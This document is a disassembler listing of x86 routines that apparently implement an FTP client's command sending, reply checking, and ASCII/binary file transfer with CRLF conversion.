		cmp	[esp+144h+arg_8], 41h
		jnz	short loc_13D7D1D
		push	2000h
		call	malloc	; malloc
		add	esp, 4
		cmp	eax, ebp
		mov	[esi+14h], eax
		jnz	short loc_13D7D1D
		push	offset dword_445448
		call	perror	; perror
		add	esp, 4
		push	edi
		call	near ptr 13E1326h
		push	esi
		call	free	; free
		add	esp, 4
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7D1D:				; CODE XREF: sub_13D79A0+33Aj
					; sub_13D79A0+34Fj
		mov	ecx, [esp+144h+arg_C]
		mov	[esi+8], edi
		mov	[esi+18h], ecx
		mov	edx, [ebx+28h]
		mov	[esi+28h], edx
		mov	eax, [ebx+2Ch]
		mov	[esi+2Ch], eax
		mov	ecx, [ebx+34h]
		mov	[esi+34h], ecx
		mov	ecx, [esi+28h]
		mov	[esi+38h], ebp
		mov	[esi+40h], ebp
		mov	eax, [ebx+3Ch]
		cmp	ecx, ebp
		mov	[esi+3Ch], eax
		jnz	short loc_13D7D5D
		cmp	[esi+2Ch], ebp
		jnz	short loc_13D7D5D
		cmp	eax, ebp
		jnz	short loc_13D7D5D
		mov	[esi+30h], ebp
		jmp	short loc_13D7D63
; ---------------------------------------------------------------------------


loc_13D7D5D:				; CODE XREF: sub_13D79A0+3ADj
					; sub_13D79A0+3B2j ...
		mov	edx, [ebx+30h]
		mov	[esi+30h], edx


loc_13D7D63:				; CODE XREF: sub_13D79A0+3BBj
		mov	eax, [esp+144h+arg_4]
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 134h
		retn
sub_13D79A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D7E80	proc near		; CODE XREF: sub_13D76E0+1BEp

var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_13D7EC2
		mov	ecx, eax


loc_13D7EC2:				; CODE XREF: sub_13D7E80+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	near ptr 13E1332h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D7F18
		push	100h
		call	_errno	; _errno
		mov	eax, [eax]
		push	eax
		call	strerror	; strerror
		add	esp, 4
		add	esi, 44h
		push	eax
		push	esi
		call	strncpy	; strncpy
		mov	ecx, [ebx+8]
		add	esp, 0Ch
		push	ecx
		call	near ptr 13E1326h
		pop	edi
		mov	[ebx+8], ebp
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_13D7F18:				; CODE XREF: sub_13D7E80+58j
		cmp	eax, ebp
		jnz	short loc_13D7F45
		lea	edi, [esi+44h]
		mov	ecx, 8
		mov	esi, offset dword_4455E0
		rep movsd
		movsb
		mov	edx, [ebx+8]
		push	edx
		call	near ptr 13E1326h
		pop	edi
		mov	[ebx+8], ebp
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_13D7F45:				; CODE XREF: sub_13D7E80+9Aj
		mov	ecx, [ebx+8]
		lea	eax, [esp+134h+var_104]
		push	eax
		push	ecx
		call	near ptr 13E1380h
		test	eax, eax
		jz	short loc_13D7FD1
		mov	ecx, [ebx+8]
		lea	edx, [esp+134h+var_120]
		lea	eax, [esp+134h+var_114]
		push	edx
		push	eax
		push	ecx
		mov	dword ptr [esp+140h+var_120], 10h
		call	near ptr 13E132Ch
		mov	edi, eax
		call	_errno	; _errno
		mov	edx, [eax]
		mov	eax, [ebx+8]
		push	eax
		mov	[esp+138h+var_124], edx
		call	near ptr 13E1326h
		cmp	edi, ebp
		jle	short loc_13D7FA0
		mov	[ebx+8], edi
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_13D7FA0:				; CODE XREF: sub_13D7E80+10Bj
		mov	ecx, [esp+134h+var_124]
		push	100h
		push	ecx
		call	strerror	; strerror
		add	esp, 4
		add	esi, 44h
		push	eax
		push	esi
		call	strncpy	; strncpy
		add	esp, 0Ch
		mov	[ebx+8], ebp
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_13D7FD1:				; CODE XREF: sub_13D7E80+D5j
		mov	eax, [esi+8]
		lea	edx, [esp+134h+var_104]
		push	edx
		push	eax
		call	near ptr 13E1380h
		test	eax, eax
		jz	short loc_13D8007
		mov	ecx, [ebx+8]
		push	ecx
		call	near ptr 13E1326h
		push	esi
		push	32h
		mov	[ebx+8], ebp
		call	sub_13D6F30
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_13D8007:				; CODE XREF: sub_13D7E80+161j
		mov	eax, [esp+134h+var_124]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 124h
		retn
sub_13D7E80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8090	proc near		; CODE XREF: sub_13AC648j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_13D80A1
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D80A1:				; CODE XREF: sub_13D8090+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_13D80BD
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_13D7070
		add	esp, 0Ch
		jmp	short loc_13D80E4
; ---------------------------------------------------------------------------


loc_13D80BD:				; CODE XREF: sub_13D8090+17j
		call	sub_13D72A0
		add	esp, 4
		cmp	eax, 1
		jz	short loc_13D80CF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D80CF:				; CODE XREF: sub_13D8090+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 13E131Ah


loc_13D80E4:				; CODE XREF: sub_13D8090+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_13D80F0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D80F0:				; CODE XREF: sub_13D8090+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_13D812F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_13D812F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_13D812F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13D8128
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8128:				; CODE XREF: sub_13D8090+93j
		mov	dword ptr [esi+40h], 0


loc_13D812F:				; CODE XREF: sub_13D8090+6Fj
					; sub_13D8090+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_13D8090	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8170	proc near		; CODE XREF: sub_13AC5F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_13D8181
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8181:				; CODE XREF: sub_13D8170+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_13D819D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_13D8240
		add	esp, 0Ch
		jmp	short loc_13D81BA
; ---------------------------------------------------------------------------


loc_13D819D:				; CODE XREF: sub_13D8170+17j
		call	sub_13D72A0
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 13E1320h


loc_13D81BA:				; CODE XREF: sub_13D8170+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_13D81C6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D81C6:				; CODE XREF: sub_13D8170+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_13D81FC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_13D81FC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_13D81FC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_13D81FC:				; CODE XREF: sub_13D8170+63j
					; sub_13D8170+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_13D8170	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8240	proc near		; CODE XREF: sub_13D8170+23p
					; sub_13D83F0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_13D825C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D825C:				; CODE XREF: sub_13D8240+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_13D8384


loc_13D826D:				; CODE XREF: sub_13D8240+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_13D82AE
		cmp	al, 0Dh
		jz	short loc_13D82AE
		cmp	esi, 2000h
		jnz	short loc_13D82A9
		push	ebp
		call	sub_13D72A0
		add	esp, 4
		test	eax, eax
		jz	short loc_13D830A
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	near ptr 13E1320h
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_13D8311
		xor	esi, esi


loc_13D82A9:				; CODE XREF: sub_13D8240+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_13D82AE:				; CODE XREF: sub_13D8240+35j
					; sub_13D8240+39j
		cmp	esi, 2000h
		jnz	short loc_13D82DC
		push	ebp
		call	sub_13D72A0
		add	esp, 4
		test	eax, eax
		jz	short loc_13D830A
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	near ptr 13E1320h
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_13D8331
		xor	esi, esi


loc_13D82DC:				; CODE XREF: sub_13D8240+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_13D826D
		test	esi, esi
		jz	loc_13D8384
		push	ebp
		call	sub_13D72A0
		add	esp, 4
		test	eax, eax
		jnz	short loc_13D8351


loc_13D830A:				; CODE XREF: sub_13D8240+4Ej
					; sub_13D8240+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D8311:				; CODE XREF: sub_13D8240+65j
		call	_errno	; _errno
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset dword_445668
		call	printf	; printf
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D8331:				; CODE XREF: sub_13D8240+98j
		call	_errno	; _errno
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset dword_445638
		call	printf	; printf
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D8351:				; CODE XREF: sub_13D8240+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	near ptr 13E1320h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_13D8384
		call	_errno	; _errno
		mov	edx, [eax]
		push	edx
		push	edi
		push	offset dword_445608
		call	printf	; printf
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D8384:				; CODE XREF: sub_13D8240+27j
					; sub_13D8240+B7j ...
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_13D8240	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D83F0	proc near		; CODE XREF: sub_13ABFDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_13D846B
		dec	eax
		jz	short loc_13D8420
		dec	eax
		jz	short loc_13D840C


loc_13D8404:				; CODE XREF: sub_13D83F0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D840C:				; CODE XREF: sub_13D83F0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_13D8420
		push	esi
		push	0
		push	0
		call	sub_13D8240
		add	esp, 0Ch


loc_13D8420:				; CODE XREF: sub_13D83F0+Fj
					; sub_13D83F0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, free
		test	eax, eax
		jz	short loc_13D8434
		push	eax
		call	ebx ; free
		add	esp, 4


loc_13D8434:				; CODE XREF: sub_13D83F0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	near ptr 13E13BCh
		mov	ecx, [esi+8]
		push	ecx
		call	near ptr 13E1326h
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx ; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_13D8404
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_13D6F30
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D846B:				; CODE XREF: sub_13D83F0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_13D8482
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_13ABFDB
		add	esp, 4


loc_13D8482:				; CODE XREF: sub_13D83F0+80j
		mov	edx, [esi+8]
		push	edx
		call	near ptr 13E1326h
		push	esi
		call	free	; free
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_13D83F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D84D0	proc near		; CODE XREF: sub_13AC0E4j

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_13D84F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D84F9:				; CODE XREF: sub_13D84D0+20j
		push	edx
		lea	eax, [esp+104h+var_100]
		push	offset dword_445698
		push	eax
		call	sprintf	; sprintf
		mov	ecx, [esp+10Ch+arg_4]
		lea	edx, [esp+10Ch+var_100]
		push	ecx
		push	32h
		push	edx
		call	sub_13D75C0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
sub_13D84D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8550	proc near		; CODE XREF: sub_13ABAC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_8]
		push	edi
		push	32h
		push	offset dword_4456A4
		call	sub_13D75C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13D8571
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8571:				; CODE XREF: sub_13D8550+1Cj
		mov	eax, [esp+8+arg_4]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_13D858C


loc_13D857F:				; CODE XREF: sub_13D8550+3Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_13D858C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_13D857F


loc_13D858C:				; CODE XREF: sub_13D8550+2Dj
					; sub_13D8550+33j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
sub_13D8550	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D85C0	proc near		; CODE XREF: sub_13AC64Dj

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_13D85E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D85E9:				; CODE XREF: sub_13D85C0+20j
		push	edx
		lea	eax, [esp+104h+var_100]
		push	offset dword_4456AC
		push	eax
		call	sprintf	; sprintf
		mov	ecx, [esp+10Ch+arg_4]
		lea	edx, [esp+10Ch+var_100]
		push	ecx
		push	32h
		push	edx
		call	sub_13D75C0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
sub_13D85C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8640	proc near		; CODE XREF: sub_13AC65Cj

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_13D8669
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D8669:				; CODE XREF: sub_13D8640+20j
		push	edx
		lea	eax, [esp+104h+var_100]
		push	offset dword_4456B4
		push	eax
		call	sprintf	; sprintf
		mov	ecx, [esp+10Ch+arg_4]
		lea	edx, [esp+10Ch+var_100]
		push	ecx
		push	32h
		push	edx
		call	sub_13D75C0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
sub_13D8640	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D86C0	proc near		; CODE XREF: sub_13ABB80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	32h
		push	offset dword_4456BC
		call	sub_13D75C0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_13D86C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D86F0	proc near		; CODE XREF: sub_13AC5FDj

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_13D8719
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D8719:				; CODE XREF: sub_13D86F0+20j
		push	edx
		lea	eax, [esp+104h+var_100]
		push	offset dword_4456C4
		push	eax
		call	sprintf	; sprintf
		mov	ecx, [esp+10Ch+arg_4]
		lea	edx, [esp+10Ch+var_100]
		push	ecx
		push	32h
		push	edx
		call	sub_13D75C0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
sub_13D86F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8770	proc near		; CODE XREF: sub_13ABA6Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_8]
		push	edi
		push	32h
		push	offset dword_4456CC
		call	sub_13D75C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13D8791
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8791:				; CODE XREF: sub_13D8770+1Cj
		add	edi, 44h
		push	22h
		push	edi
		call	strchr	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_13D87A7
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D87A7:				; CODE XREF: sub_13D8770+32j
		mov	ecx, [esp+8+arg_4]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_13D87C5


loc_13D87B3:				; CODE XREF: sub_13D8770+53j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_13D87C5
		cmp	cl, 22h
		jz	short loc_13D87C5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_13D87B3


loc_13D87C5:				; CODE XREF: sub_13D8770+41j
					; sub_13D8770+47j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
sub_13D8770	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D87F0	proc near		; CODE XREF: sub_13AB527j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_13D8820
		add	esp, 14h
		retn
sub_13D87F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8820	proc near		; CODE XREF: sub_13D87F0+13p
					; sub_13D8A70+13p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_13D88AA
		mov	esi, [esp+14h+arg_C]
		mov	cx, ds:word_44570C
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_13D885A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_13D885A:				; CODE XREF: sub_13D8820+33j
		cmp	edi, 49h
		jnz	short loc_13D8864
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_13D8864:				; CODE XREF: sub_13D8820+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	fopen	; fopen
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_13D88C4
		push	100h
		call	_errno	; _errno
		mov	eax, [eax]
		push	eax
		call	strerror	; strerror
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	strncpy	; strncpy
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13D88AA:				; CODE XREF: sub_13D8820+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_13D88BB
		mov	ebx, _iob
		jmp	short loc_13D88C4
; ---------------------------------------------------------------------------


loc_13D88BB:				; CODE XREF: sub_13D8820+91j
		mov	edx, _iob
		lea	ebx, [edx+20h]


loc_13D88C4:				; CODE XREF: sub_13D8820+57j
					; sub_13D8820+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_13AC355
		add	esp, 14h
		test	eax, eax
		jnz	short loc_13D88E7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13D88E7:				; CODE XREF: sub_13D8820+BFj
		push	2000h
		call	malloc	; malloc
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_13D895D
		mov	ebp, fread
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp ; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_13D89B3


loc_13D891A:				; CODE XREF: sub_13D8820+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_13AC5F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_13D8943
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp ; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_13D891A
		jmp	short loc_13D89B3
; ---------------------------------------------------------------------------


loc_13D8943:				; CODE XREF: sub_13D8820+10Bj
		push	eax
		push	esi
		push	offset dword_4456E4
		call	printf	; printf
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_13D89B3
; ---------------------------------------------------------------------------


loc_13D895D:				; CODE XREF: sub_13D8820+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_13AC648
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_13D89B3
		mov	esi, fwrite


loc_13D897A:				; CODE XREF: sub_13D8820+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi ; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_13D89A1
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_13AC648
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_13D897A
		jmp	short loc_13D89B3
; ---------------------------------------------------------------------------


loc_13D89A1:				; CODE XREF: sub_13D8820+166j
		push	offset dword_4456D0
		call	perror	; perror
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_13D89B3:				; CODE XREF: sub_13D8820+F4j
					; sub_13D8820+121j ...
		push	edi
		call	free	; free
		push	ebx
		call	fflush	; fflush
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_13D89D6
		push	ebx
		call	fclose	; fclose
		add	esp, 4


loc_13D89D6:				; CODE XREF: sub_13D8820+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_13ABFDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_13D8820	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)

